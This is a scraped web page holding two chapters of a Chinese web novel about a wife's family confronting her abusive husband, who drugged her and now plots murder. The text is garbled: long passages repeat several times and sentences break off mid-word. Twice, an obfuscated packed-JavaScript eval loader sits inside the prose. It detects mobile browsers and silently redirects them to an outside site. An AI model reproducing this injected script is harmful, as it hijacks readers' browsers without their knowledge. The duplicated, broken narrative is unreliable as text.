她正不知该如何解释,萧夫人便低声道:“是辰儿打伤卫家的护院把禾儿带回家的。” 虽说卫家欺负人在先,但萧夜辰毕竟和萧清禾没有血缘关系,他夜里出现在卫家,还打伤了卫家的护院,这事宣扬出去,难免会引来风言风语,对萧清禾和萧家都很不利。 萧老夫人却并不觉得有什么,她神情从容,看着萧清禾说:“你既回家了,就在家里好好休养一段时日,旁的事我和你母亲会出面处理,不必担心。” 言下之意,萧家会护着萧清禾,不会让她受任何委屈。 萧老夫人表了态,萧夫人心中大石顿时落地,她又忍不住落下泪来:“你这孩子受了委屈怎么就不早些回家来说呢,我和你祖母难道舍得眼睁睁地看着你受苦?” 萧清禾亦是动容,她低下头说:“我就是怕娘和祖母跟着担心难过,所以想靠自己的能力解决,只是我也没想到事情会变成这样。” 听到这话,萧夫人更心疼了,这时下人来报:“老夫人,姑爷来了、沈夫人也来了。” “他来得正好!” 萧夫人咬牙,擦掉眼泪就要去会一会卫凌泽,却被萧老夫人拦下:“不急,先让你夫君去应对,他是禾儿的亲爹,不会让禾儿白白受委屈的。” 萧老夫人说完,缓了语气吩咐下人:“让阿喜直接来这里。” “是。” ** 春喜还不知道卫家昨晚发生了大事,她只是来萧家给老夫人报平安的。 萧清月说她失踪这段时日萧家上下都在暗中找她,耗费了不少人力,这份情她不能白受。 春喜照旧做了一些糕点带上,刚下马车,却和卫凌泽碰了个正着。 卫凌泽是骑马来的。 今天阳光明媚,天色正好,卫凌泽的脸色却很不好看,一身气息更是冷煞,在看到她以后,卫凌泽的脸色就更差了。 像是被人逼着吞了苍蝇。 卫凌泽不高兴,春喜就高兴了。 她弯眸露出灿烂的笑,轻快道:“哟,侄婿最近不是忙着接待使臣团吗,怎么有闲心来岳家闲逛?” 春喜的笑果然刺痛了卫凌泽,他并不打算理会春喜,下了马径直进府。 春喜小跑着跟上:“咦?禾儿怎么没跟你一起?侄婿不会是做了什么丧良心的事,把禾儿气回娘家,所以来接禾儿回家吧?那侄婿怎么不像上次那样直接跪在门口负荆请罪,让所有人都知道你对不起禾儿?” 春喜小嘴叭叭不停,语气里满是幸灾乐祸。 卫凌泽猛然停下步子,扭头呵斥:“闭嘴!你再像个长舌妇一样胡言乱语我就拔了你的舌头!” 卫凌泽表情阴寒,眼神冷厉,是真的很想拔了春喜的舌头。 春喜并不害怕,反而扬了下眉,挑衅道:“侄婿别光说不做,有本事动手啊。” 春喜的语气和表情都欠扁极了,卫凌泽眯了眯眼,险些控制不住杀心,这时萧夜辰走了过来,他无视卫凌泽,直接对春喜说:“沈夫人放心,萧家不是旁人能撒野的地方,你在这里很安全。” 一看到萧夜辰,卫凌泽就握紧了拳头,春喜则有些意外。 卫凌泽和禾儿是真的出什么问题了吗,怎么萧家对他这个态度? 明显是为了两家颜面,想要维持表面的平和,然而卫家却不满足于此,还用那样的下作手段逼迫于她,确实是太欺负人了。 萧老夫人安慰了萧清禾两句,又问:“昨夜你是怎么回家的?” 萧清禾一怔,这才想起萧夜辰。 她正不知该如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她弯眸露出灿烂的笑,轻快道:“哟,侄婿最近不是忙着接待使臣团吗,怎么有闲心来岳家闲逛?” 春喜的笑果然刺痛了卫凌泽,他并不打算理会春喜,下了马径直进府。 春喜小跑着跟上:“咦?禾儿怎么没跟你一起?侄婿不会是做了什么丧良心的事,把禾儿气回娘家,所以来接禾儿回家吧?那侄婿怎么不像上次那样直接跪在门口负荆请罪,让所有人都知道你对不起禾儿?” 春喜小嘴叭叭不停,语气里满是幸灾乐祸。 卫凌泽猛然停下步子,扭头呵斥:“闭嘴!你再像个长舌妇一样胡言乱语我就拔了你的舌头!” 卫凌泽表情阴寒,眼神冷厉,是真的很想拔了春喜的舌头。 春喜并不害怕,反而扬了下眉,挑衅道:“侄婿别光说不做,有本事动手啊。” 春喜的语气和表情都欠扁极了,卫凌泽眯了眯眼,险些控制不住杀心,这时萧夜辰走了过来,他无视卫凌泽,直接对春喜说:“沈夫人放心,萧家不是旁人能撒野的地方,你在这里很安全。” 一看到萧夜辰,卫凌泽就握紧了拳头,春喜则有些意外。 卫凌泽和禾儿是真的出什么问题了吗,怎么萧家对他这个态度? 明显是为了两家颜面,想要维持表面的平和,然而卫家却不满足于此,还用那样的下作手段逼迫于她,确实是太欺负人了。 萧老夫人安慰了萧清禾两句,又问:“昨夜你是怎么回家的?” 萧清禾一怔,这才想起萧夜辰。 她正不知该如何解释,萧夫人便低声道:“是辰儿打伤卫家的护院把禾儿带回家的。” 虽说卫家欺负人在先,但萧夜辰毕竟和萧清禾没有血缘关系,他夜里出现在卫家,还打伤了卫家的护院,这事宣扬出去,难免会引来风言风语,对萧清禾和萧家都很不利。 萧老夫人却并不觉得有什么,她神情从容,看着萧清禾说:“你既回家了,就在家里好好休养一段时日,旁的事我和你母亲会出面处理,不必担心。” 言下之意,萧家会护着萧清禾,不会让她受任何委屈。 萧老夫人表了态,萧夫人心中大石顿时落地,她又忍不住落下泪来:“你这孩子受了委屈怎么就不早些回家来说呢,我和你祖母难道舍得眼睁睁地看着你受苦?” 萧清禾亦是动容,她低下头说:“我就是怕娘和祖母跟着担心难过,所以想靠自己的能力解决,只是我也没想到事情会变成这样。” 听到这话,萧夫人更心疼了,这时下人来报:“老夫人,姑爷来了、沈夫人也来了。” “他来得正好!” 萧夫人咬牙,擦掉眼泪就要去会一会卫凌泽,却被萧老夫人拦下:“不急,先让你夫君去应对,他是禾儿的亲爹,不会让禾儿白白受委屈的。” 萧老夫人说完,缓了语气吩咐下人:“让阿喜直接来这里。” “是。” ** 春喜还不知道卫家昨晚发生了大事,她只是来萧家给老夫人报平安的。 萧清月说她失踪这段时日萧家上下都在暗中找她,耗费了不少人力,这份情她不能白受。 春喜照旧做了一些糕点带上,刚下马车,却和卫凌泽碰了个正着。 卫凌泽是骑马来的。 今天阳光明媚,天色正好,卫凌泽的脸色却很不好看,一身气息更是冷煞,在看到她以后,卫凌泽的脸色就更差了。 像是被人逼着吞了苍蝇。 卫凌泽不高兴,春喜就高兴了。 她弯眸露出灿烂的笑,轻快道:“哟,侄婿最近不是忙着接待使臣团吗,怎么有闲心来岳家闲逛?” 春喜的笑果然刺痛了卫凌泽,他并不打算理会春喜,下了马径直进府。 春喜小跑着跟上:“咦?禾儿怎么没跟你一起?侄婿不会是做了什么丧良心的事,把禾儿气回娘家,所以来接禾儿回家吧?那侄婿怎么不像上次那样直接跪在门口负荆请罪,让所有人都知道你对不起禾儿?” 春喜小嘴叭叭不停,语气里满是幸灾乐祸。 卫凌泽猛然停下步子,扭头呵斥:“闭嘴!你再像个长舌妇一样胡言乱语我就拔了你的舌头!” 卫凌泽表情阴寒,眼神冷厉,是真的很想拔了春喜的舌头。 春喜并不害怕,反而扬了下眉,挑衅道:“侄婿别光说不做,有本事动手啊。” 春喜的语气和表情都欠扁极了,卫凌泽眯了眯眼,险些控制不住杀心,这时萧夜辰走了过来,他无视卫凌泽,直接对春喜说:“沈夫人放心,萧家不是旁人能撒野的地方,你在这里很安全。” 一看到萧夜辰,卫凌泽就握紧了拳头,春喜则有些意外。 卫凌泽和禾儿是真的出什么问题了吗,怎么萧家对他这个态度? 明显是为了两家颜面,想要维持表面的平和,然而卫家却不满足于此,还用那样的下作手段逼迫于她,确实是太欺负人了。 萧老夫人安慰了萧清禾两句,又问:“昨夜你是怎么回家的?” 萧清禾一怔,这才想起萧夜辰。 她正不知该如何解释,萧夫人便低声道:“是辰儿打伤卫家的护院把禾儿带回家的。” 虽说卫家欺负人在先,但萧夜辰毕竟和萧清禾没有血缘关系,他夜里出现在卫家,还打伤了卫家的护院,这事宣扬出去,难免会引来风言风语,对萧清禾和萧家都很不利。 萧老夫人却并不觉得有什么,她神情从容,看着萧清禾说:“你既回家了,就在家里好好休养一段时日,旁的事我和你母亲会出面处理,不必担心。” 言下之意,萧家会护着萧清禾,不会让她受任何委屈。 萧老夫人表了态,萧夫人心中大石顿时落地,她又忍不住落下泪来:“你这孩子受了委屈怎么就不早些回家来说呢,我和你祖母难道舍得眼睁睁地看着你受苦?” 萧清禾亦是动容,她低下头说:“我就是怕娘和祖母跟着担心难过,所以想靠自己的能力解决,只是我也没想到事情会变成这样。” 听到这话,萧夫人更心疼了,这时下人来报:“老夫人,姑爷来了、沈夫人也来了。” “他来得正好!” 萧夫人咬牙,擦掉眼泪就要去会一会卫凌泽,却被萧老夫人拦下:“不急,先让你夫君去应对,他是禾儿的亲爹,不会让禾儿白白受委屈的。” 萧老夫人说完,缓了语气吩咐下人:“让阿喜直接来这里。” “是。” ** 春喜还不知道卫家昨晚发生了大事,她只是来萧家给老夫人报平安的。 萧清月说她失踪这段时日萧家上下都在暗中找她,耗费了不少人力,这份情她不能白受。 春喜照旧做了一些糕点带上,刚下马车,却和卫凌泽碰了个正着。 卫凌泽是骑马来的。 今天阳光明媚,天色正好,卫凌泽的脸色却很不好看,一身气息更是冷煞,在看到她以后,卫凌泽的脸色就更差了。 像是被人逼着吞了苍蝇。 卫凌泽不高兴,春喜就高兴了。 她弯眸露出灿烂的笑,轻快道:“哟,侄婿最近不是忙着接待使臣团吗,怎么有闲心来岳家闲逛?” 春喜的笑果然刺痛了卫凌泽,他并不打算理会春喜,下了马径直进府。 春喜小跑着跟上:“咦?禾儿怎么没跟你一起?侄婿不会是做了什么丧良心的事,把禾儿气回娘家,所以来接禾儿回家吧?那侄婿怎么不像上次那样直接跪在门口负荆请罪,让所有人都知道你对不起禾儿?” 春喜小嘴叭叭不停,语气里满是幸灾乐祸。 卫凌泽猛然停下步子,扭头呵斥:“闭嘴!你再像个长舌妇一样胡言乱语我就拔了你的舌头!” 卫凌泽表情阴寒,眼神冷厉,是真的很想拔了春喜的舌头。 春喜并不害怕,反而扬了下眉,挑衅道:“侄婿别光说不做,有本事动手啊。” 春喜的语气和表情都欠扁极了,卫凌泽眯了眯眼,险些控制不住杀心,这时萧夜辰走了过来,他无视卫凌泽,直接对春喜说:“沈夫人放心,萧家不是旁人能撒野的地方,你在这里很安全。” 一看到萧夜辰,卫凌泽就握紧了拳头,春喜则有些意外。 卫凌泽和禾儿是真的出什么问题了吗,怎么萧家对他这个态度? 第232章 卫凌泽,完了! 卫凌泽跟着萧夜辰去了前厅。 厅里,萧父肃着脸端坐着,萧清禾的两个哥哥也在,两人皆是恶狠狠地瞪着卫凌泽,再没有之前见面的热切亲和。 卫凌泽早有预料,但还是镇定上前:“见过岳父、二位兄长。” 二少爷萧清阳率先开口:“夫妻之事讲究你情我愿,卫大少爷却下药强迫禾儿,犯下如此恶行,竟还有脸登我萧家的门?” 说着话,萧清阳眸底怒火攒动,若不是萧父在这儿坐着,早就扑上去揍人了。 “二哥,下药之事我也不知情,是母亲身边的婆子擅作主张犯下此事,昨晚我也中了药,这才没能控制住自己,我不是真心想伤害禾儿的。” 卫凌泽一脸认真的解释,甚至还露出了疼惜之色,好像他对萧清禾有多情深意重似的。 萧清阳冷笑:“那禾儿小产之事你怎么说?” “我当时并不知道禾儿怀孕了,一时情不自禁,力道大了些,才会犯下如此大错,事发后我已亲自到云山寺诵经超度这个孩子,还在寺中供了长明灯,我和禾儿还年轻,以后还会有孩子的。” 卫凌泽避重就轻,把这两件事都轻飘飘地揭过去。 这两件事确实不好,但到底是夫妻秘事,谁也不知道当时的情况是什么样的,只要他咬死不承认自己有故意伤害萧清禾的心思,萧家就算再生气,也总归是会过去的。 卫凌泽刚说完,萧清阳就一个箭步上前,狠狠给了卫凌泽一拳。 “卫凌泽,你今天要是敢承担责任,我还敬你是个男人,没想到你真的变成了怂货,早知如此,萧家就不该把禾儿嫁给你!” 萧清阳这一拳揍得极狠,卫凌泽被打得偏了头,唇角溢出血来。 但他一点儿脾气都没有,立刻道:“二哥骂得对,不管怎么说,禾儿都是因为我才受到的伤害,是我没有照顾好她,我辜负了岳父岳母和二位兄长的期望,大家要打要骂都是应该的,但我保证,以后一定会好好对待禾儿,再也不会让她受任何委屈。” “成婚之前你也是这么说的,可回门那日禾儿就受了伤,然后是小产,前不久你还跑到云山寺捉奸,如今又给禾儿下药,这一桩桩一件件,就是你说的对禾儿好吗?” 萧清阳历数这几个月发生的事,越说越来气,又狠狠踹了卫凌泽两脚。 萧父和大少爷萧清云并未出声阻止,卫凌泽不敢躲,生生受下,然后才道:“我之前确实做得不好,求二哥再给我一次机会,让我当面跟禾儿赔罪,求得禾儿原谅。” 只要萧清禾愿意跟他回卫家,这些事就可以慢慢谈。 然而卫凌泽刚说完就听到萧父说:“禾儿昨夜受了很大的惊吓,现在生病了,没办法见人,这段时间就让她在家里休养。” “禾儿病了?严重吗?要不要请御医来看看?” 卫凌泽立刻关切追问,萧清阳不客气地翻了他一个白眼:“你是觉得我们萧家请不来御医还是觉得我们在骗你,要让御医来瞧个究竟?” “二哥误会了,我没有这个意思,我只是担心禾儿。” 卫凌泽连忙解释,萧清阳冷笑:“没什么好担心的,禾儿在自己家里很安全,不会有任何人敢让她受委屈。” 萧家态度强硬,卫凌泽知道今天应该不能带走萧清禾了,只能做出退让:“二哥,能不能让我远远地看禾儿一眼?” 卫凌泽的语气带了哀求,好像不能亲眼看到萧清禾,他就没办法安心。 萧清阳直接点破:“昨晚禾儿是中了药回家的,你是想见禾儿还是想确定她有没有做背叛你的事,你心里应该比谁都清楚。” 被戳中心思,卫凌泽的脸沉了两分。 昨夜他吃了解药,又在冷水里泡了许久才缓过劲儿来,连他都有些扛不住这药,他确实很担心萧清禾承受不住药效。 萧父直接道:“禾儿一到家就吃下了解药,后半夜一直发高烧,回春堂的大夫又来开了药,这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959142|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熬了过来,卫家若是有什么疑虑,大可叫上你们卫氏一族的族老来萧家谈和离之事。” 萧父连和离二字都说出来了,可见是真的气得不轻,卫凌泽连忙跪下:“请岳父息怒,我只是担心禾儿的身体,断没有怀疑禾儿的意思,我此生只会有禾儿一个妻子,绝不会有和离的念头。” 卫凌泽语气坚定,萧父却不为所动,他冷冷的看了卫凌泽一眼道:“昨夜是辰儿派人把禾儿带回家的,听说辰儿的人伤了卫家不少护院,你若要追责,也可叫上族老一同前来。” 卫凌泽可以断定昨晚的人就是萧夜辰,但萧父摆明了是要连萧夜辰一起护着,卫凌泽也不好在萧父的气头上追究什么,只能压着怒气道:“小婿不敢追究什么,昨夜若不是萧家的人及时出现救走禾儿,如今事态只怕已经糟糕到无法回转的地步了。” 萧父没再说话,萧清云直接下了逐客令:“既然卫家不会追责,那就请卫大少爷离开这里,等禾儿养好身子,走出阴霾,自然会派人通知卫家。” 卫凌泽还想再说些什么,又听到萧清阳说:“禾儿习惯了陪嫁丫鬟和婆子的伺候,还请卫家把那些人送回来。” 卫凌泽握紧拳头。 出嫁的女子回娘家住不算什么,但如果把陪嫁的丫鬟和婆子都一起带回娘家,那意图就很明显了。 但眼下卫家不占理,卫凌泽也没办法拒绝,沉默半晌只能答应:“好。” 与此同时,萧清禾的闺房里。 萧清禾的神情倦怠,还透着两分虚弱,萧夫人哭得眼睛红肿根本无法掩藏,春喜震惊不已,忍不住问:“发生什么事了,禾儿这是怎么了?” 萧老夫人神情严肃,直勾勾地盯着春喜:“阿喜,这次你被挟持,背后主使可是卫凌泽?” 萧夫人本来已经恢复平静,听到这话,又猛然抬头看向春喜。 春喜也被萧老夫人这突然的发问吓了一跳,而后脑子里冒出一个念头。 卫凌泽,完了! 第233章 他不能失去禾儿 云氏一夜没睡,听说卫凌泽从萧家回来,立刻找来。 “萧家怎么说,禾儿呢?” 卫凌泽被揍过的脸上青了一片,卫氏很是很疼,但更多的是着急。 卫凌泽横了她一眼,沉沉道:“萧家昨夜找了回春堂的大夫,已经知道禾儿小产的事了,要留禾儿在萧家休养一段时间,还要我们把禾儿的陪嫁丫鬟和婆子都送回去。” 听到最后一句话,云氏眼皮狂跳。 萧家连陪嫁丫鬟和婆子都要送回去,明显是动了和卫家断亲的念头,云氏压下慌乱追问:“这是萧家人的意思还是禾儿的意思?” “我不知道,”卫凌泽被问得有些烦躁,“萧家根本不让我见她。” “萧家不让你见禾儿,说明禾儿还是心软顾念旧情的,我陪你再去一次,只要见到禾儿一切都好说。” 云氏说着便要往外走,却见卫凌泽站在原地一动不动。 云氏停下来看着他,卫凌泽冷着脸说:“现在她和萧家上下都在气头上,去了也是自讨没趣,不如让他们冷静一下再说。” “这怎么能行,这个时候就是要让萧家看到我们的诚意,万一禾儿的心彻底冷了,那就真的没办法挽回了。” 云氏并不赞同,卫凌泽却坚持道:“我现在要多花精力在冬猎上,而不是围着女人转,娘应该也不希望我在冬猎时输给一个残废让卫家颜面扫地吧?” 丢下这句话,卫凌泽没再理会云氏,径直回了自己的书房。 没多久,一只信鸽飞进屋里。 卫凌泽取下信,看清上面的内容后,脸色阴沉到了极点。 他安排在云州接应春喜的人**了,而且春喜还冒充卫家在云州**,打残了云州州府独子的一条腿。 这件事在云州闹得很大,而他安排置办宅子的奶娘,还有负责看守春喜的丫鬟护院全都被云州州府抓了起来。 云州州府的夫人正带着自己被打断腿的儿子赶往瀚京,准备帮自己儿子讨个说法。 哗啦! 卫凌泽将桌上的笔墨纸砚扫落在地,面容狰狞,近乎癫狂。 曹春喜这个**! 他就不该对她心软,从她叛离卫家那天起,就该直接杀了她! 卫凌泽愤怒不已,但在愤怒背后,还有一丝无法控制的慌乱。 他的确让人在云州置了宅子,人证物证皆在,现在云州州府已经认定他豢养外室,还有了私生子,并且为了这个外室打残了人家儿子一条腿,事情闹到瀚京,他根本说不清 楚。 萧家知道禾儿小产的事本就震怒不已,若再知道这件事,完全可以趁机提出和离。 一旦和离,他和禾儿就不可能有以后了。 这个念头一冒出来,就让卫凌泽心脏闷痛起来。 这一刻,他无比清晰地意识到,他不能失去禾儿。 但他已经失去对春喜动手的时机,眼下想保住这个秘密,只能让那位州府夫人和她的儿子死在路上。 卫凌泽眸子变冷,很快做出决断。 与此同时,萧家。 春喜把自己这次被绑后,策反虎叔豹叔,查出幕后主使,最后在云州打着卫家的名义大闹一场的事都说出来。 萧夫人一开始听到卫凌泽想把她偷偷养在云州心里还有些别扭,听到后面整个人都被震住。 寻常女子被绑,早就吓得六神无主了,阿喜她怎么能策反绑匪,还打着卫家的名号把云州州府的儿子打成残废? 萧老夫人倒是很容易就接受了这件事,她偏头对萧夫人说:“待会儿让人挑五十个身手上好的人去暗中迎一迎州府夫人,务必保证他们母子能顺利抵达瀚京。” 萧夫人眼皮一跳,有些不确定地问:“母亲,你的意思是泽儿会对他们下手?” 萧夫人虽然因为萧清禾的遭遇很生气,但对卫凌泽的印象还停留在几年前,并不觉得卫凌泽敢**州府夫人。 萧老夫人没有过多解释,只淡淡道:“这一路山高水长,谁也不知道会出什么事,稳妥些总归是好的。” 等州府夫人进了京,萧家便可以抓着卫凌泽偷养外室和私生子的事趁机提出和离了。 萧夫人知道萧老夫人的打算,当即点头道:“好,我这就去安排。” 萧清禾的状态不好,春喜陪她说了许久的话,吃过晚饭才离开。 春喜没想到卫凌泽会干出如此下作的事,从萧家出来心情也不是很好,她决定这几日多来萧家陪陪禾儿,免得禾儿想不开。 心里想着事,春喜有些走神,因此掀开车帘发现萧夜辰这么大个人杵在车里,春喜吓得险些惊叫出声。 “沈夫人别怕,是我。” 萧夜辰及时开口,饶是如此,春喜还是被吓得心脏怦怦地跳。 不是,这天都要黑了,马车里突然多了这么个大活人,谁能不怕啊。 春喜拍拍胸口,深吸两口气才坐进马车,刚坐稳就听到萧夜辰问:“大小姐还好吗?” 春喜没太适应这个称呼,愣了一下才反应过来他问的是萧清禾。 春喜知道昨晚是他把禾儿救回家的,如实道:“禾儿还有点发烧,受了惊吓还很难过,状态不是很好。” “那这几天能不能请沈夫人多陪陪大小姐?”萧夜辰立刻追问,不等春喜回答又道,“只要沈夫人愿意帮这个忙,以后不管沈夫人遇到什么事,无忧阁都会倾力相助!” 这承诺挺诱人的。 但春喜想也没想就拒绝了:“禾儿叫我一声小婶婶,那就是把我当成长辈看待,关心她是我应该做的事,不用别人给我好处。” 萧夜辰的眸子顿时暗了下去。 是啊,沈夫人是大小姐的长辈,关心大小姐是应该的,没有资格关心大小姐的人是他。 “多谢。” 说完这句话,萧夜辰便要下车,刚掀起一点儿帘子,又听到春喜说:“对了,禾儿让我给你带句话,谢谢你昨晚出手相救。” 萧夜辰的眸子猛然变亮,一颗心也不受控制地狂跳起来,他还想问萧清禾有没有说其他的,车帘突然被掀开,来接春喜的沈清渊站在外面:“你们在做什么?” 春喜:“……”!!! 楚。 萧家知道禾儿小产的事本就震怒不已,若再知道这件事,完全可以趁机提出和离。 一旦和离,他和禾儿就不可能有以后了。 这个念头一冒出来,就让卫凌泽心脏闷痛起来。 这一刻,他无比清晰地意识到,他不能失去禾儿。 但他已经失去对春喜动手的时机,眼下想保住这个秘密,只能让那位州府夫人和她的儿子死在路上。 卫凌泽眸子变冷,很快做出决断。 与此同时,萧家。 春喜把自己这次被绑后,策反虎叔豹叔,查出幕后主使,最后在云州打着卫家的名义大闹一场的事都说出来。 萧夫人一开始听到卫凌泽想把她偷偷养在云州心里还有些别扭,听到后面整个人都被震住。 寻常女子被绑,早就吓得六神无主了,阿喜她怎么能策反绑匪,还打着卫家的名号把云州州府的儿子打成残废? 萧老夫人倒是很容易就接受了这件事,她偏头对萧夫人说:“待会儿让人挑五十个身手上好的人去暗中迎一迎州府夫人,务必保证他们母子能顺利抵达瀚京。” 萧夫人眼皮一跳,有些不确定地问:“母亲,你的意思是泽儿会对他们下手?” 萧夫人虽然因为萧清禾的遭遇很生气,但对卫凌泽的印象还停留在几年前,并不觉得卫凌泽敢**州府夫人。 萧老夫人没有过多解释,只淡淡道:“这一路山高水长,谁也不知道会出什么事,稳妥些总归是好的。” 等州府夫人进了京,萧家便可以抓着卫凌泽偷养外室和私生子的事趁机提出和离了。 萧夫人知道萧老夫人的打算,当即点头道:“好,我这就去安排。” 萧清禾的状态不好,春喜陪她说了许久的话,吃过晚饭才离开。 春喜没想到卫凌泽会干出如此下作的事,从萧家出来心情也不是很好,她决定这几日多来萧家陪陪禾儿,免得禾儿想不开。 心里想着事,春喜有些走神,因此掀开车帘发现萧夜辰这么大个人杵在车里,春喜吓得险些惊叫出声。 “沈夫人别怕,是我。” 萧夜辰及时开口,饶是如此,春喜还是被吓得心脏怦怦地跳。 不是,这天都要黑了,马车里突然多了这么个大活人,谁能不怕啊。 春喜拍拍胸口,深吸两口气才坐进马车,刚坐稳就听到萧夜辰问:“大小姐还好吗?” 春喜没太适应这个称呼,愣了一下才反应过来他问的是萧清禾。 春喜知道昨晚是他把禾儿救回家的,如实道:“禾儿还有点发烧,受了惊吓还很难过,状态不是很好。” “那这几天能不能请沈夫人多陪陪大小姐?”萧夜辰立刻追问,不等春喜回答又道,“只要沈夫人愿意帮这个忙,以后不管沈夫人遇到什么事,无忧阁都会倾力相助!” 这承诺挺诱人的。 但春喜想也没想就拒绝了:“禾儿叫我一声小婶婶,那就是把我当成长辈看待,关心她是我应该做的事,不用别人给我好处。” 萧夜辰的眸子顿时暗了下去。 是啊,沈夫人是大小姐的长辈,关心大小姐是应该的,没有资格关心大小姐的人是他。 “多谢。” 说完这句话,萧夜辰便要下车,刚掀起一点儿帘子,又听到春喜说:“对了,禾儿让我给你带句话,谢谢你昨晚出手相救。” 萧夜辰的眸子猛然变亮,一颗心也不受控制地狂跳起来,他还想问萧清禾有没有说其他的,车帘突然被掀开,来接春喜的沈清渊站在外面:“你们在做什么?” 春喜:“……”!!! 楚。 萧家知道禾儿小产的事本就震怒不已,若再知道这件事,完全可以趁机提出和离。 一旦和离,他和禾儿就不可能有以后了。 这个念头一冒出来,就让卫凌泽心脏闷痛起来。 这一刻,他无比清晰地意识到,他不能失去禾儿。 但他已经失去对春喜动手的时机,眼下想保住这个秘密,只能让那位州府夫人和她的儿子死在路上。 卫凌泽眸子变冷,很快做出决断。 与此同时,萧家。 春喜把自己这次被绑后,策反虎叔豹叔,查出幕后主使,最后在云州打着卫家的名义大闹一场的事都说出来。 萧夫人一开始听到卫凌泽想把她偷偷养在云州心里还有些别扭,听到后面整个人都被震住。 寻常女子被绑,早就吓得六神无主了,阿喜她怎么能策反绑匪,还打着卫家的名号把云州州府的儿子打成残废? 萧老夫人倒是很容易就接受了这件事,她偏头对萧夫人说:“待会儿让人挑五十个身手上好的人去暗中迎一迎州府夫人,务必保证他们母子能顺利抵达瀚京。” 萧夫人眼皮一跳,有些不确定地问:“母亲,你的意思是泽儿会对他们下手?” 萧夫人虽然因为萧清禾的遭遇很生气,但对卫凌泽的印象还停留在几年前,并不觉得卫凌泽敢**州府夫人。 萧老夫人没有过多解释,只淡淡道:“这一路山高水长,谁也不知道会出什么事,稳妥些总归是好的。” 等州府夫人进了京,萧家便可以抓着卫凌泽偷养外室和私生子的事趁机提出和离了。 萧夫人知道萧老夫人的打算,当即点头道:“好,我这就去安排。” 萧清禾的状态不好,春喜陪她说了许久的话,吃过晚饭才离开。 春喜没想到卫凌泽会干出如此下作的事,从萧家出来心情也不是很好,她决定这几日多来萧家陪陪禾儿,免得禾儿想不开。 心里想着事,春喜有些走神,因此掀开车帘发现萧夜辰这么大个人杵在车里,春喜吓得险些惊叫出声。 “沈夫人别怕,是我。” 萧夜辰及时开口,饶是如此,春喜还是被吓得心脏怦怦地跳。 不是,这天都要黑了,马车里突然多了这么个大活人,谁能不怕啊。 春喜拍拍胸口,深吸两口气才坐进马车,刚坐稳就听到萧夜辰问:“大小姐还好吗?” 春喜没太适应这个称呼,愣了一下才反应过来他问的是萧清禾。 春喜知道昨晚是他把禾儿救回家的,如实道:“禾儿还有点发烧,受了惊吓还很难过,状态不是很好。” “那这几天能不能请沈夫人多陪陪大小姐?”萧夜辰立刻追问,不等春喜回答又道,“只要沈夫人愿意帮这个忙,以后不管沈夫人遇到什么事,无忧阁都会倾力相助!” 这承诺挺诱人的。 但春喜想也没想就拒绝了:“禾儿叫我一声小婶婶,那就是把我当成长辈看待,关心她是我应该做的事,不用别人给我好处。” 萧夜辰的眸子顿时暗了下去。 是啊,沈夫人是大小姐的长辈,关心大小姐是应该的,没有资格关心大小姐的人是他。 “多谢。” 说完这句话,萧夜辰便要下车,刚掀起一点儿帘子,又听到春喜说:“对了,禾儿让我给你带句话,谢谢你昨晚出手相救。” 萧夜辰的眸子猛然变亮,一颗心也不受控制地狂跳起来,他还想问萧清禾有没有说其他的,车帘突然被掀开,来接春喜的沈清渊站在外面:“你们在做什么?” 春喜:“……”!!! 楚。 萧家知道禾儿小产的事本就震怒不已,若再知道这件事,完全可以趁机提出和离。 一旦和离,他和禾儿就不可能有以后了。 这个念头一冒出来,就让卫凌泽心脏闷痛起来。 这一刻,他无比清晰地意识到,他不能失去禾儿。 但他已经失去对春喜动手的时机,眼下想保住这个秘密,只能让那位州府夫人和她的儿子死在路上。 卫凌泽眸子变冷,很快做出决断。 与此同时,萧家。 春喜把自己这次被绑后,策反虎叔豹叔,查出幕后主使,最后在云州打着卫家的名义大闹一场的事都说出来。 萧夫人一开始听到卫凌泽想把她偷偷养在云州心里还有些别扭,听到后面整个人都被震住。 寻常女子被绑,早就吓得六神无主了,阿喜她怎么能策反绑匪,还打着卫家的名号把云州州府的儿子打成残废? 萧老夫人倒是很容易就接受了这件事,她偏头对萧夫人说:“待会儿让人挑五十个身手上好的人去暗中迎一迎州府夫人,务必保证他们母子能顺利抵达瀚京。” 萧夫人眼皮一跳,有些不确定地问:“母亲,你的意思是泽儿会对他们下手?” 萧夫人虽然因为萧清禾的遭遇很生气,但对卫凌泽的印象还停留在几年前,并不觉得卫凌泽敢**州府夫人。 萧老夫人没有过多解释,只淡淡道:“这一路山高水长,谁也不知道会出什么事,稳妥些总归是好的。” 等州府夫人进了京,萧家便可以抓着卫凌泽偷养外室和私生子的事趁机提出和离了。 萧夫人知道萧老夫人的打算,当即点头道:“好,我这就去安排。” 萧清禾的状态不好,春喜陪她说了许久的话,吃过晚饭才离开。 春喜没想到卫凌泽会干出如此下作的事,从萧家出来心情也不是很好,她决定这几日多来萧家陪陪禾儿,免得禾儿想不开。 心里想着事,春喜有些走神,因此掀开车帘发现萧夜辰这么大个人杵在车里,春喜吓得险些惊叫出声。 “沈夫人别怕,是我。” 萧夜辰及时开口,饶是如此,春喜还是被吓得心脏怦怦地跳。 不是,这天都要黑了,马车里突然多了这么个大活人,谁能不怕啊。 春喜拍拍胸口,深吸两口气才坐进马车,刚坐稳就听到萧夜辰问:“大小姐还好吗?” 春喜没太适应这个称呼,愣了一下才反应过来他问的是萧清禾。 春喜知道昨晚是他把禾儿救回家的,如实道:“禾儿还有点发烧,受了惊吓还很难过,状态不是很好。” “那这几天能不能请沈夫人多陪陪大小姐?”萧夜辰立刻追问,不等春喜回答又道,“只要沈夫人愿意帮这个忙,以后不管沈夫人遇到什么事,无忧阁都会倾力相助!” 